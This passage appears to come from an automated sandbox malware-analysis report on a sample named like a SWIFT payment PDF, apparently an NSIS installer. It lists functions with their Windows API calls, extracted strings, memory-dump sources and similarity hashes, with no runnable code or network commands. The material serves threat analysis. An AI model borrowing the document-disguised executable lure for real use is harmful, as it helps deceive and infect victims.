AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 00405594
GetWindowRect.USER32(?,?), ref: 004055B4
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 004055CD
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405605
OpenClipboard.USER32(00000000), ref: 00405615
EmptyClipboard.USER32 ref: 0040561B
GlobalAlloc.KERNEL32(00000042,00000000), ref: 00405627
GlobalLock.KERNEL32(00000000), ref: 00405631
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405645
GlobalUnlock.KERNEL32(00000000), ref: 00405665
SetClipboardData.USER32(0000000D,00000000), ref: 00405670
CloseClipboard.USER32 ref: 00405676

Strings

{, xrefs: 00405559

Memory Dump Source

Source File: 00000005.00000002.2922616706.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2922599143.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2922634766.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2922652826.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2922681465.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_SWIFT09181-24_pdf.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: {
API String ID: 590372296-366298937
Opcode ID: c03f886d1af96994fdbb0a23cef68d0ed2242977acd76286432e3196303c0609
Instruction ID: bedd14c977596f777f0676ed5d78e17ab23f6a1f4e688fc8743dda88f8352f2f
Opcode Fuzzy Hash: c03f886d1af96994fdbb0a23cef68d0ed2242977acd76286432e3196303c0609
Instruction Fuzzy Hash: 85B15A71900608FFDB11AF60DD89AAE7B79FB48355F00803AFA41BA1A0CB755E51DF58

Function 00403C41 Relevance: 48.3, APIs: 32, Instructions: 345windowstringCOMMON

Download Yara Rule

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403C7D
ShowWindow.USER32(?), ref: 00403C9A
DestroyWindow.USER32 ref: 00403CAE
SetWindowLongW.USER32(?,00000000,00000000), ref: 00403CCA
GetDlgItem.USER32(?,?), ref: 00403CEB
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00403CFF
IsWindowEnabled.USER32(00000000), ref: 00403D06
GetDlgItem.USER32(?,00000001), ref: 00403DB4
GetDlgItem.USER32(?,00000002), ref: 00403DBE
SetClassLongW.USER32(?,000000F2,?), ref: 00403DD8
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 00403E29
GetDlgItem.USER32(?,00000003), ref: 00403ECF
ShowWindow.USER32(00000000,?), ref: 00403EF0
EnableWindow.USER32(?,?), ref: 00403F02
EnableWindow.USER32(?,?), ref: 00403F1D
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00403F33
EnableMenuItem.USER32(00000000), ref: 00403F3A
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 00403F52
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 00403F65
lstrlenW.KERNEL32(0042D268,?,0042D268,00433F00), ref: 00403F8E
SetWindowTextW.USER32(?,0042D268), ref: 00403FA2
ShowWindow.USER32(?,0000000A), ref: 004040D6

Memory Dump Source

Source File: 00000005.00000002.2922616706.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2922599143.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2922634766.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2922652826.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2922681465.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_SWIFT09181-24_pdf.jbxd

Similarity

API ID: Window$Item$MessageSend$EnableShow$LongMenu$ClassDestroyEnabledSystemTextlstrlen
String ID:
API String ID: 184305955-0
Opcode ID: 1f500e8277606cc2b60b0699cfffcfb82421e5b85fdc00a0e0ef9cc185334c76
Instruction ID: ea0d75974b1de0ff06d17ebe4cf6f8c3df4269cbbec1c2e45b889e3be151f72f
Opcode Fuzzy Hash: 1f500e8277606cc2b60b0699cfffcfb82421e5b85fdc00a0e0ef9cc185334c76
Instruction Fuzzy Hash: 51C1AEB1604300ABDB206F61ED85E2B7AA8EB94706F50053EF641B61F0CB7999529B2D

Function 004042B6 Relevance: 40.5, APIs: 20, Strings: 3, Instructions: 207windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 00404354
GetDlgItem.USER32(?,000003E8), ref: 00404368
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 00404385
GetSysColor.USER32(?), ref: 00404396
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 004043A4
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 004043B2
lstrlenW.KERNEL32(?), ref: 004043B7
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 004043C4
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 004043D9
GetDlgItem.USER32(?,0000040A), ref: 00404432
SendMessageW.USER32(00000000), ref: 00404439
GetDlgItem.USER32(?,000003E8), ref: 00404464
SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 004044A7
LoadCursorW.USER32(00000000,00007F02), ref: 004044B5
SetCursor.USER32(00000000), ref: 004044B8
ShellExecuteW.SHELL32(0000070B,open,00432EA0,00000000,00000000,00000001), ref: 004044CD
LoadCursorW.USER32(00000000,00007F00), ref: 004044D9
SetCursor.USER32(00000000), ref: 004044DC
SendMessageW.USER32(00000111,00000001,00000000), ref: 0040450B
SendMessageW.USER32(00000010,00000000,00000000), ref: 0040451D

Strings

open, xrefs: 004044C5
N, xrefs: 00404452
-B@, xrefs: 004044C2

Memory Dump Source

Source File: 00000005.00000002.2922616706.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2922599143.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2922634766.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2922652826.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2922681465.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_SWIFT09181-24_pdf.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorExecuteShelllstrlen
String ID: -B@$N$open
API String ID: 3615053054-1057335957
Opcode ID: 36576130f872884c293bcf5f2af5e47814bd4f236bd745ad96bf50452987c1a6
Instruction ID: dd3f9e4c49c61f52868447dcb3d39b77a72b713ccf0d54d9464424dd5907340f
Opcode Fuzzy Hash: 36576130f872884c293bcf5f2af5e47814bd4f236bd745ad96bf50452987c1a6
Instruction Fuzzy Hash: E87190B1900209BFDB109F61DD89EAA7B69FB84355F00803AFB05BA1D0C778AD51CF98

Function 0040389E Relevance: 37.0, APIs: 13, Strings: 8, Instructions: 215stringregistryCOMMON

Download Yara Rule

APIs

Part of subcall function 0040642B: GetModuleHandleA.KERNEL32(?,?,00000020,0040330C,00000009,SETUPAPI,USERENV,UXTHEME), ref: 0040643D
Part of subcall function 0040642B: GetProcAddress.KERNEL32(00000000,?), ref: 00406458

lstrcatW.KERNEL32(00441000,0042D268,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042D268,00000000,00000002,74DF3420,00441800,00000000,0043F000), ref: 0040391F
lstrlenW.KERNEL32(00432EA0,?,?,?,00432EA0,00000000,0043F800,00441000,0042D268,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042D268,00000000,00000002,74DF3420), ref: 0040399F
lstrcmpiW.KERNEL32(00432E98,.exe,00432EA0,?,?,?,00432EA0,00000000,0043F800,00441000,0042D268,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042D268,00000000), ref: 004039B2
GetFileAttributesW.KERNEL32(00432EA0), ref: 004039BD
LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,0043F800), ref: 00403A06

Part of subcall function 00405F9C: wsprintfW.USER32 ref: 00405FA9

RegisterClassW.USER32(00433EA0), ref: 00403A43
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00403A5B
CreateWindowExW.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403A90
ShowWindow.USER32(00000005,00000000), ref: 00403AC6
GetClassInfoW.USER32(00000000,RichEdit20W,00433EA0), ref: 00403AF2
GetClassInfoW.USER32(00000000,RichEdit,00433EA0), ref: 00403AFF
RegisterClassW.USER32(00433EA0), ref: 00403B08
DialogBoxParamW.USER32(?,00000000,00403C41,00000000), ref: 00403B27

Strings

RichEdit20W, xrefs: 00403AEA, 00403AF0
_Nb, xrefs: 00403A22, 00403A8A
.exe, xrefs: 004039AC
.DEFAULT\Control Panel\International, xrefs: 0040390A
RichEd32, xrefs: 00403ADA
Control Panel\Desktop\ResourceLocale, xrefs: 004038D2
RichEd20, xrefs: 00403ACC
RichEdit, xrefs: 00403AF9

Memory Dump Source

Source File: 00000005.00000002.2922616706.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2922599143.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2922634766.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2922652826.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2922681465.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_SWIFT09181-24_pdf.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDialogFileHandleImageLoadModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: .DEFAULT\Control Panel\International$.exe$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
API String ID: 1975747703-1115850852
Opcode ID: d5c3abf15ba9808ba33f498f7a164742ef658a4c3e7242e85e78716b4e36e908
Instruction ID: 3415ad5ee5f1eed3d2c0e447cb4c4d8a0153f3b0974deb3f023f39c7f2583bdf
Opcode Fuzzy Hash: d5c3abf15ba9808ba33f498f7a164742ef658a4c3e7242e85e78716b4e36e908
Instruction Fuzzy Hash: A361CA706406006FD320AF66AD46F2B3A6CEB8474AF40553FF941B22E2DB7D5D41CA2D

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectW.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextW.USER32(00000000,00433F00,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000005.00000002.2922616706.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2922599143.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2922634766.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2922652826.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2922681465.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_SWIFT09181-24_pdf.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: 836f1adf353e2d325b24016f8fe56e8870fd4280f6f4b89fbeb337628f0c6723
Instruction ID: 6108585e84898fc0a566315ef3a84ca8793ce744416779fac967068cfe9173e2
Opcode Fuzzy Hash: 836f1adf353e2d325b24016f8fe56e8870fd4280f6f4b89fbeb337628f0c6723
Instruction Fuzzy Hash: 0E418A71800209AFCB058F95DE459AFBBB9FF44310F04842EF991AA1A0C738EA54DFA4

Function 00405D84 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 131stringmemoryCOMMON

Download Yara Rule

APIs

lstrcpyW.KERNEL32(00430908,NUL,?,00000000,?,0040A300,00405F17,?,?), ref: 00405D93
CloseHandle.KERNEL32(00000000,?,00000000,00000001,?,0040A300,00405F17,?,?), ref: 00405DB7
GetShortPathNameW.KERNEL32(?,00430908,00000400), ref: 00405DC0

Part of subcall function 00405B8F: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405E70,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405B9F
Part of subcall function 00405B8F: lstrlenA.KERNEL32(00000000,?,00000000,00405E70,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405BD1

GetShortPathNameW.KERNEL32(00431108,00431108,00000400), ref: 00405DDD
wsprintfA.USER32 ref: 00405DFB
GetFileSize.KERNEL32(00000000,00000000,00431108,C0000000,00000004,00431108,?,?,?,?,?), ref: 00405E36
GlobalAlloc.KERNEL32(00000040,0000000A,?,?,?,?), ref: 00405E45
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E7D
SetFilePointer.KERNEL32(0040A578,00000000,00000000,00000000,00000000,00430508,00000000,-0000000A,0040A578,00000000,[Rename],00000000,00000000,00000000), ref: 00405ED3
GlobalFree.KERNEL32(00000000), ref: 00405EE4
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 00405EEB

Part of subcall function 00405C2A: GetFileAttributesW.KERNEL32(00000003,00402E2E,00442800,80000000,00000003,?,?,00000000,0040353A,?), ref: 00405C2E
Part of subcall function 00405C2A: CreateFileW.KERNEL32(?,?,00000001,00000000,?,00000001,00000000,?,?,00000000,0040353A,?), ref: 00405C50

Strings

%ls=%ls, xrefs: 00405DF1
[Rename], xrefs: 00405E65, 00405E77
NUL, xrefs: 00405D8D

Memory Dump Source

Source File: 00000005.00000002.2922616706.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2922599143.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2922634766.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2922652826.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2922681465.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_SWIFT09181-24_pdf.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrcpylstrlen$AllocAttributesCreateFreePointerSizewsprintf
String ID: %ls=%ls$NUL$[Rename]
API String ID: 222337774-899692902
Opcode ID: f6fb36cc51022f7a2fd4840f1f55d7684ca34511e2c34b0b855416ece56c70d0
Instruction ID: 58c57230207582c12286da0908ad594a16be4941a6f2872b3690da29fc8d014c
Opcode Fuzzy Hash: f6fb36cc51022f7a2fd4840f1f55d7684ca34511e2c34b0b855416ece56c70d0
Instruction Fuzzy Hash: 01311370600B18BBD2206B219D49F6B3A5CEF45755F14043AB981F62D2EE7CAA01CAAD

Function 004045B4 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 275stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 00404603
SetWindowTextW.USER32(00000000,?), ref: 0040462D
SHBrowseForFolderW.SHELL32(?), ref: 004046DE
CoTaskMemFree.OLE32(00000000), ref: 004046E9
lstrcmpiW.KERNEL32(00432EA0,0042D268,00000000,?,?), ref: 0040471B
lstrcatW.KERNEL32(?,00432EA0), ref: 00404727
SetDlgItemTextW.USER32(?,000003FB,?), ref: 00404739

Part of subcall function 0040577E: GetDlgItemTextW.USER32(?,?,00000400,00404770), ref: 00405791

Part of subcall function 004062E9: CharNextW.USER32(0040A300,*?|<>/":,00000000,0043F000,74DF3420,00441800,00000000,0040327B,00441800,00441800,004034CC), ref: 0040634C
Part of subcall function 004062E9: CharNextW.USER32(0040A300,0040A300,0040A300,00000000), ref: 0040635B
Part of subcall function 004062E9: CharNextW.USER32(0040A300,0043F000,74DF3420,00441800,00000000,0040327B,00441800,00441800,004034CC), ref: 00406360
Part of subcall function 004062E9: CharPrevW.USER32(0040A300,0040A300,74DF3420,00441800,00000000,0040327B,00441800,00441800,004034CC), ref: 00406373

GetDiskFreeSpaceW.KERNEL32(0042B238,?,?,0000040F,?,0042B238,0042B238,?,00000001,0042B238,?,?,000003FB,?), ref: 004047FC
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404817

Part of subcall function 00404970: lstrlenW.KERNEL32(0042D268,0042D268,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404A11
Part of subcall function 00404970: wsprintfW.USER32 ref: 00404A1A
Part of subcall function 00404970: SetDlgItemTextW.USER32(?,0042D268), ref: 00404A2D

Strings

A, xrefs: 004046D7

Memory Dump Source

Source File: 00000005.00000002.2922616706.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2922599143.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2922634766.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2922652826.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2922681465.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_SWIFT09181-24_pdf.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: A
API String ID: 2624150263-3554254475
Opcode ID: 7533d7c2dc95967098a321fa3339fb28748da65ff8be7a50b8b52b895c48c278
Instruction ID: 407ae004ccebb682b028ef0dda1631611b85a4c4b0528499d59b6de2b9b5396a
Opcode Fuzzy Hash: 7533d7c2dc95967098a321fa3339fb28748da65ff8be7a50b8b52b895c48c278
Instruction Fuzzy Hash: 9CA171B1900208ABDB11AFA6CD85AAF77B8EF84314F10843BF601B72D1D77C89418B69

Function 00402DEE Relevance: 19.4, APIs: 5, Strings: 6, Instructions: 182COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00402DFF
GetModuleFileNameW.KERNEL32(00000000,00442800,00000400,?,?,00000000,0040353A,?), ref: 00402E1B

Part of subcall function 00405C2A: GetFileAttributesW.KERNEL32(00000003,00402E2E,00442800,80000000,00000003,?,?,00000000,0040353A,?), ref: 00405C2E
Part of subcall function 00405C2A: CreateFileW.KERNEL32(?,?,00000001,00000000,?,00000001,00000000,?,?,00000000,0040353A,?), ref: 00405C50

GetFileSize.KERNEL32(00000000,00000000,00443000,00000000,00440800,00440800,00442800,00442800,80000000,00000003,?,?,00000000,0040353A,?), ref: 00402E67

Strings

soft, xrefs: 00402EDC
Null, xrefs: 00402EE5
Error launching installer, xrefs: 00402E3E
(*B, xrefs: 00402E7C
Inst, xrefs: 00402ED3
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 00402FC6

Memory Dump Source

Source File: 00000005.00000002.2922616706.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2922599143.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2922634766.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2922652826.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2922681465.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_SWIFT09181-24_pdf.jbxd

Similarity

API ID: File$AttributesCountCreateModuleNameSizeTick
String ID: (*B$Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 4283519449-2478819026
Opcode ID: af3239711416cc3f4489103c4f5988a16c87e5acef6a1f1d228726abe2e37e97
Instruction ID: 7d4f9fc7c678da67c97c1a1890296b71ec8e814f853b941ab64c238268a70fe9
Opcode Fuzzy Hash: af3239711416cc3f4489103c4f5988a16c87e5acef6a1f1d228726abe2e37e97
Instruction Fuzzy Hash: AF51F731904205ABDB209F61DE89B9F7BB8EB44394F14403BF904B62C1C7B89D409BAD

Function 00406077 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 207stringCOMMON

Download Yara Rule

APIs

GetVersion.KERNEL32(00000000,0042C248,?,004051EB,0042C248,00000000,00000000,?), ref: 0040613A
GetSystemDirectoryW.KERNEL32(00432EA0,00000400), ref: 004061B8
GetWindowsDirectoryW.KERNEL32(00432EA0,00000400), ref: 004061CB
SHGetSpecialFolderLocation.SHELL32(?,?), ref: 00406207
SHGetPathFromIDListW.SHELL32(?,00432EA0), ref: 00406215
CoTaskMemFree.OLE32(?), ref: 00406220
lstrcatW.KERNEL32(00432EA0,\Microsoft\Internet Explorer\Quick Launch), ref: 00406244
lstrlenW.KERNEL32(00432EA0,00000000,0042C248,?,004051EB,0042C248,00000000,00000000,?), ref: 0040629E

Strings

\Microsoft\Internet Explorer\Quick Launch, xrefs: 0040623E
Software\Microsoft\Windows\CurrentVersion, xrefs: 00406186

Memory Dump Source

Source File: 00000005.00000002.2922616706.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2922599143.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2922634766.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2922652826.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2922681465.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_SWIFT09181-24_pdf.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskVersionWindowslstrcatlstrlen
String ID: Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 900638850-730719616
Opcode ID: b49515e533b40e1408f5d93883df29fa5190ace2cf2b8e5a57d609063371b42f
Instruction ID: e2b9bd4c7d0941b93a588dc58e8d14d5200dcae9cd5da35c43f1ba43b89dddbc
Opcode Fuzzy Hash: b49515e533b40e1408f5d93883df29fa5190ace2cf2b8e5a57d609063371b42f
Instruction Fuzzy Hash: 79610371A00504EBDF20AF64CC40BAE37A5AF55324F16817FE942BA2D0D73D9AA1CB4D

Function 00403027 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 166COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00403091
GetTickCount.KERNEL32 ref: 00403138
MulDiv.KERNEL32(7FFFFFFF,00000064,?), ref: 00403161
wsprintfW.USER32 ref: 00403174

Strings

... %d%%, xrefs: 0040316E
jA, xrefs: 004031F1
jA, xrefs: 004030E7

Memory Dump Source

Source File: 00000005.00000002.2922616706.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2922599143.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2922634766.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2922652826.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2922681465.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_SWIFT09181-24_pdf.jbxd

Similarity

API ID: CountTick$wsprintf
String ID: jA$ jA$... %d%%
API String ID: 551687249-2167919867
Opcode ID: e07d926733e31303047b785d6e8e1ef749c31aa3f1888e26d22e6b527b659153
Instruction ID: 9abceb1f43df10d1a821086e1d45a58eca4464abfa5f2a46825b956852eb5d51
Opcode Fuzzy Hash: e07d926733e31303047b785d6e8e1ef749c31aa3f1888e26d22e6b527b659153
Instruction Fuzzy Hash: AF517C71901259EBDB10CF65DA44BAE7BB8AF05766F10417FF811B62C0C7789E40CBAA

Function 00404180 Relevance: 12.1, APIs: 8, Instructions: 61COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 0040419D
GetSysColor.USER32(00000000), ref: 004041B9
SetTextColor.GDI32(?,00000000), ref: 004041C5
SetBkMode.GDI32(?,?), ref: 004041D1
GetSysColor.USER32(?), ref: 004041E4
SetBkColor.GDI32(?,?), ref: 004041F4
DeleteObject.GDI32(?), ref: 0040420E
CreateBrushIndirect.GDI32(?), ref: 00404218

Memory Dump Source

Source File: 00000005.00000002.2922616706.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2922599143.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2922634766.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2922652826.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2922681465.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_SWIFT09181-24_pdf.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: 1be7c14e932793da5b7e12cfd745236bd09d54aa5f4605660dea7ebeed684375
Instruction ID: dec6db0c7b043789455d5ba444b9f0b4b6699da27fefac44a21b5edf9a5b929b
Opcode Fuzzy Hash: 1be7c14e932793da5b7e12cfd745236bd09d54aa5f4605660dea7ebeed684375
Instruction Fuzzy Hash: E321C3B1500704ABCB219F68EE08B4BBBF8AF40710F04896DF996F66A0C734E944CB64

Function 004025E5 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 151fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(?,?,?,?), ref: 0040264D
MultiByteToWideChar.KERNEL32(?,00000008,?,?,?,00000001), ref: 00402688
SetFilePointer.KERNEL32(?,?,?,00000001,?,00000008,?,?,?,00000001), ref: 004026AB
MultiByteToWideChar.KERNEL32(?,00000008,?,00000000,?,00000001,?,00000001,?,00000008,?,?,?,00000001), ref: 004026C1

Part of subcall function 00405D0B: SetFilePointer.KERNEL32(?,00000000,00000000,00000001), ref: 00405D21

SetFilePointer.KERNEL32(?,?,?,00000001,?,?,00000002), ref: 0040276D

Strings

9, xrefs: 00402630

Memory Dump Source

Source File: 00000005.00000002.2922616706.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2922599143.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2922634766.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2922652826.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2922681465.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_SWIFT09181-24_pdf.jbxd

Similarity

API ID: File$Pointer$ByteCharMultiWide$Read
String ID: 9
API String ID: 163830602-2366072709
Opcode ID: 1e0cadf04f88ccade5697334c954c2e9868fb264b6ac47f65209ed57e79425ed
Instruction ID: c11c119823ef092d14edb4d445d1eebecf1e4ba29e3308019af08aa6c5ad61e3
Opcode Fuzzy Hash: 1e0cadf04f88ccade5697334c954c2e9868fb264b6ac47f65209ed57e79425ed
Instruction Fuzzy Hash: 43510874D00219AADF209F94CA88ABEB779FF04344F50447BE501B72E0D7B99D42DB69

Function 004051B4 Relevance: 10.6, APIs: 7, Instructions: 72stringwindowCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(0042C248,00000000,?,74DF23A0,?,?,?,?,?,?,?,?,?,0040318B,00000000,?), ref: 004051EC
lstrlenW.KERNEL32(0040318B,0042C248,00000000,?,74DF23A0,?,?,?,?,?,?,?,?,?,0040318B,00000000), ref: 004051FC
lstrcatW.KERNEL32(0042C248,0040318B,0040318B,0042C248,00000000,?,74DF23A0), ref: 0040520F
SetWindowTextW.USER32(0042C248,0042C248), ref: 00405221
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405247
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405261
